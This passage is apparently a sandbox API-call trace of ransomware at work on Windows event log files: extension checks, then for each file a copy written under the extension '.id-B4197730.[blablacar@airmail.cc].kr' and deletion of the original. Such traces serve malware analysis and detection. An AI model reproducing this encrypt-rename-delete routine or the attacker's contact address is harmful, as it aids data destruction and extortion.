(lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0099.517] lstrlenW (lpString=".zip") returned 4 [0099.517] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0099.517] lstrlenW (lpString=".rar") returned 4 [0099.517] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0099.517] lstrlenW (lpString=".bz2") returned 4 [0099.517] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0099.517] lstrlenW (lpString=".7z") returned 3 [0099.517] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0099.517] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0099.517] lstrlenW (lpString=".dbf") returned 4 [0099.517] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0099.517] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0099.517] lstrlenW (lpString=".1cd") returned 4 [0099.517] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0099.517] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0099.517] lstrlenW (lpString=".jpg") returned 4 [0099.517] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0099.518] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0099.518] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0099.518] lstrlenW (lpString=".doc") returned 4 [0099.518] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0099.518] lstrlenW (lpString=".docx") returned 5 [0099.518] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0099.518] lstrlenW (lpString=".pdf") returned 4 [0099.518] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0099.518] lstrlenW (lpString=".xls") returned 4 [0099.518] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0099.518] lstrlenW (lpString=".xlsx") returned 5 [0099.518] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0099.518] lstrlenW (lpString=".ppt") returned 4 [0099.518] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0099.518] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0099.518] lstrlenW (lpString=".zip") returned 4 [0099.518] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0099.518] lstrlenW (lpString=".rar") returned 4 [0099.518] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0099.518] lstrlenW (lpString=".bz2") returned 4 [0099.518] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0099.518] lstrlenW (lpString=".7z") returned 3 [0099.518] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0099.518] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0099.518] lstrlenW (lpString=".dbf") returned 4 [0099.518] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0099.518] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0099.518] lstrlenW (lpString=".1cd") returned 4 [0099.518] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0099.518] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0099.518] lstrlenW (lpString=".jpg") returned 4 [0099.519] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0099.519] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0099.519] lstrlenW (lpString="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 63 [0099.519] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0099.519] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=69632) returned 1 [0099.519] CloseHandle (hObject=0x34c) returned 1 [0099.519] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 0x20 [0099.519] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0099.519] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0099.519] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0099.520] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0099.520] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0099.520] GetLastError () returned 0x0 [0099.520] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0099.878] WriteFile (in: hFile=0x370, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0099.881] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0099.882] WriteFile (in: hFile=0x370, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x152, lpOverlapped=0x0) returned 1 [0099.882] SetEndOfFile (hFile=0x370) returned 1 [0099.882] CloseHandle (hObject=0x370) returned 1 [0099.885] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0099.885] SetEndOfFile (hFile=0x34c) returned 1 [0099.886] CloseHandle (hObject=0x34c) returned 1 [0099.893] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0099.926] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 1 [0099.927] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0099.927] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0099.927] lstrlenW (lpString=".doc") returned 4 [0099.927] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0099.927] lstrlenW (lpString=".docx") returned 5 [0099.927] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0099.927] lstrlenW (lpString=".pdf") returned 4 [0099.927] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0099.927] lstrlenW (lpString=".xls") returned 4 [0099.927] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0099.927] lstrlenW (lpString=".xlsx") returned 5 [0099.927] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0099.927] lstrlenW (lpString=".ppt") returned 4 [0099.927] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0099.927] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0099.927] lstrlenW (lpString=".zip") returned 4 [0099.927] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0099.927] lstrlenW (lpString=".rar") returned 4 [0099.927] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0099.927] lstrlenW (lpString=".bz2") returned 4 [0099.927] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0099.928] lstrlenW (lpString=".7z") returned 3 [0099.928] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0099.928] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0099.928] lstrlenW (lpString=".dbf") returned 4 [0099.928] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0099.928] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0099.928] lstrlenW (lpString=".1cd") returned 4 [0099.928] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0099.928] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0099.928] lstrlenW (lpString=".jpg") returned 4 [0099.928] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0099.928] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0099.928] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0099.928] lstrlenW (lpString=".doc") returned 4 [0099.928] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0099.928] lstrlenW (lpString=".docx") returned 5 [0099.928] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0099.928] lstrlenW (lpString=".pdf") returned 4 [0099.928] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0099.928] lstrlenW (lpString=".xls") returned 4 [0099.928] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0099.928] lstrlenW (lpString=".xlsx") returned 5 [0099.928] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0099.928] lstrlenW (lpString=".ppt") returned 4 [0099.928] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0099.929] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0099.929] lstrlenW (lpString=".zip") returned 4 [0099.929] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0099.929] lstrlenW (lpString=".rar") returned 4 [0099.929] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0099.929] lstrlenW (lpString=".bz2") returned 4 [0099.929] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0099.929] lstrlenW (lpString=".7z") returned 3 [0099.929] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0099.929] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0099.929] lstrlenW (lpString=".dbf") returned 4 [0099.929] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0099.929] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0099.929] lstrlenW (lpString=".1cd") returned 4 [0099.929] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0099.929] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0099.929] lstrlenW (lpString=".jpg") returned 4 [0099.929] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0099.929] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0099.929] lstrlenW (lpString="Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 41 [0099.929] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0099.930] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=69632) returned 1 [0099.930] CloseHandle (hObject=0x34c) returned 1 [0099.930] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 0x20 [0099.930] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0099.930] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0099.930] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0099.930] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0099.930] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0099.931] GetLastError () returned 0x0 [0099.931] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0099.935] WriteFile (in: hFile=0x370, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0099.938] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0099.938] WriteFile (in: hFile=0x370, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x126, lpOverlapped=0x0) returned 1 [0099.938] SetEndOfFile (hFile=0x370) returned 1 [0099.940] CloseHandle (hObject=0x370) returned 1 [0099.942] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0099.942] SetEndOfFile (hFile=0x34c) returned 1 [0099.944] CloseHandle (hObject=0x34c) returned 1 [0099.944] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0099.944] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 1 [0099.945] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0099.945] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0099.945] lstrlenW (lpString=".doc") returned 4 [0099.945] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0099.945] lstrlenW (lpString=".docx") returned 5 [0099.945] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0099.945] lstrlenW (lpString=".pdf") returned 4 [0099.945] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0099.945] lstrlenW (lpString=".xls") returned 4 [0099.945] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0099.945] lstrlenW (lpString=".xlsx") returned 5 [0099.945] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0099.945] lstrlenW (lpString=".ppt") returned 4 [0099.945] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0099.945] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0099.945] lstrlenW (lpString=".zip") returned 4 [0099.945] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0099.945] lstrlenW (lpString=".rar") returned 4 [0099.945] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0099.945] lstrlenW (lpString=".bz2") returned 4 [0099.945] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0099.945] lstrlenW (lpString=".7z") returned 3 [0099.945] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0099.945] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0099.945] lstrlenW (lpString=".dbf") returned 4 [0099.946] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0099.946] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0099.946] lstrlenW (lpString=".1cd") returned 4 [0099.946] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0099.946] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0099.946] lstrlenW (lpString=".jpg") returned 4 [0099.946] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0099.946] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0099.946] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0099.946] lstrlenW (lpString=".doc") returned 4 [0099.946] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0099.946] lstrlenW (lpString=".docx") returned 5 [0099.946] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0099.946] lstrlenW (lpString=".pdf") returned 4 [0099.946] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0099.946] lstrlenW (lpString=".xls") returned 4 [0099.946] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0099.946] lstrlenW (lpString=".xlsx") returned 5 [0099.946] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0099.946] lstrlenW (lpString=".ppt") returned 4 [0099.946] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0099.946] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0099.946] lstrlenW (lpString=".zip") returned 4 [0099.947] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0099.947] lstrlenW (lpString=".rar") returned 4 [0099.947] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0099.947] lstrlenW (lpString=".bz2") returned 4 [0099.947] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0099.947] lstrlenW (lpString=".7z") returned 3 [0099.947] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0099.947] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0099.947] lstrlenW (lpString=".dbf") returned 4 [0099.947] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0099.947] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0099.947] lstrlenW (lpString=".1cd") returned 4 [0099.947] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0099.947] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0099.947] lstrlenW (lpString=".jpg") returned 4 [0099.947] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0099.947] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0099.947] lstrlenW (lpString="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 43 [0099.948] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0099.948] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=69632) returned 1 [0099.948] CloseHandle (hObject=0x34c) returned 1 [0099.948] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 0x20 [0099.948] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0099.948] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0099.948] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0099.948] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0099.949] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0099.949] GetLastError () returned 0x0 [0099.949] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0099.964] WriteFile (in: hFile=0x370, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0099.967] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0099.968] WriteFile (in: hFile=0x370, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x12a, lpOverlapped=0x0) returned 1 [0099.968] SetEndOfFile (hFile=0x370) returned 1 [0099.968] CloseHandle (hObject=0x370) returned 1 [0099.971] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0099.971] SetEndOfFile (hFile=0x34c) returned 1 [0099.972] CloseHandle (hObject=0x34c) returned 1 [0099.972] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0099.973] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 1 [0099.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0099.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0099.974] lstrlenW (lpString=".doc") returned 4 [0099.974] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0099.974] lstrlenW (lpString=".docx") returned 5 [0099.974] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0099.974] lstrlenW (lpString=".pdf") returned 4 [0099.974] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0099.974] lstrlenW (lpString=".xls") returned 4 [0099.974] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0099.974] lstrlenW (lpString=".xlsx") returned 5 [0099.974] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0099.974] lstrlenW (lpString=".ppt") returned 4 [0099.974] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0099.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0099.974] lstrlenW (lpString=".zip") returned 4 [0099.974] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0099.974] lstrlenW (lpString=".rar") returned 4 [0099.974] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0099.974] lstrlenW (lpString=".bz2") returned 4 [0099.974] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0099.974] lstrlenW (lpString=".7z") returned 3 [0099.974] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0099.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0099.974] lstrlenW (lpString=".dbf") returned 4 [0099.975] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0099.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0099.975] lstrlenW (lpString=".1cd") returned 4 [0099.975] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0099.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0099.975] lstrlenW (lpString=".jpg") returned 4 [0099.975] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0099.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0099.975] lstrlenW 